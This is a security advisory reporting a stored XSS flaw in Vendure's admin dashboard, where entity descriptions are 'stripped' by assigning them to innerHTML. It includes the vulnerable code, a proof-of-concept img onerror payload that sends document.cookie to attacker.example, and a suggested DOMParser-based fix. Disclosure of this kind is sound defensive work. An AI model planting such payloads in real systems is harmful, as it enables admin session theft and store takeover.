Stored XSS in the Admin Dashboard via unsafe HTML-stripping (innerHTML) of entity descriptions

Package: @vendure/dashboard (vendure-ecommerce/vendure, latest master) ·

Summary

The dashboard's RichTextDescriptionCell "strips HTML" from an entity's description by assigning it to a live element's innerHTML and reading back textContent. This pattern still executes active markup: a description containing <img src=x onerror=…> runs script when the element is parsed (image resource loads even on a detached node in Chromium/Firefox, firing onerror). Because description is an admin-settable field shown in multiple list views, a lower-privilege administrator can store a payload that executes in a higher-privilege administrator's browser when they open the corresponding list — stored XSS leading to admin-session compromise.

Vulnerable code

packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx

export const RichTextDescriptionCell: DataTableCellComponent<{ description: string }> = ({ cell }) => {
    const value = cell.getValue();
    const textContent = useMemo(() => {
        if (!value) return '';
        const div = document.createElement('div');
        div.innerHTML = value;          // line 51 — parses/loads active markup; <img onerror> fires here
        return div.textContent ?? '';   // line 52 — reading textContent does NOT undo the side effect
    }, [value]);
    ...
}

innerHTML does not run <script>, but it does trigger resource loads / event handlers such as <img src=x onerror=...>, <image>, <svg> handlers — even on a detached element — so the assignment itself is the sink. Reading textContent afterwards is irrelevant; the handler has already executed.

Reachable from (all use this cell for the description column)

• _products/products.tsx:53, _collections/collections.tsx, _promotions/promotions.tsx:62, _payment-methods/payment-methods.tsx:57, _shipping-methods/shipping-methods.tsx:39.

All of these are description fields editable by administrators with the corresponding catalog/promotion/settings write permissions — which, in Vendure's multi-channel model, includes channel-scoped admins.

Proof of concept

1. As an administrator with UpdateCatalog/UpdateProduct (e.g. a channel-scoped admin), set a Product's description to: <img src=x onerror="fetch('https://attacker.example/'+encodeURIComponent(document.cookie))">
2. Any administrator who opens the Products list in the dashboard renders RichTextDescriptionCell for that row → div.innerHTML = description → the onerror executes in their session.
3. Payload runs with the viewing admin's privileges (e.g. a superadmin) → session/token exfiltration or admin actions → cross-privilege / cross-channel admin takeover (chains directly with the channel-scoping IDOR class already reported).

Impact

Stored XSS executing in administrators' browsers, escalating a low-privilege (e.g. single-channel) admin to actions as any admin who views the affected list. Account/store takeover.

Suggested fix

Strip HTML with an inert parser (no script/resource execution) instead of a live element, or sanitize before display:

// inert: DOMParser documents do not execute scripts or load resources
const textContent = new DOMParser().parseFromString(value ?? '', 'text/html').body.textContent ?? '';

(Or render with a vetted sanitizer such as DOMPurify if rich text must be shown.) Audit the codebase for other element.innerHTML = <untrusted> assignments used for "stripping".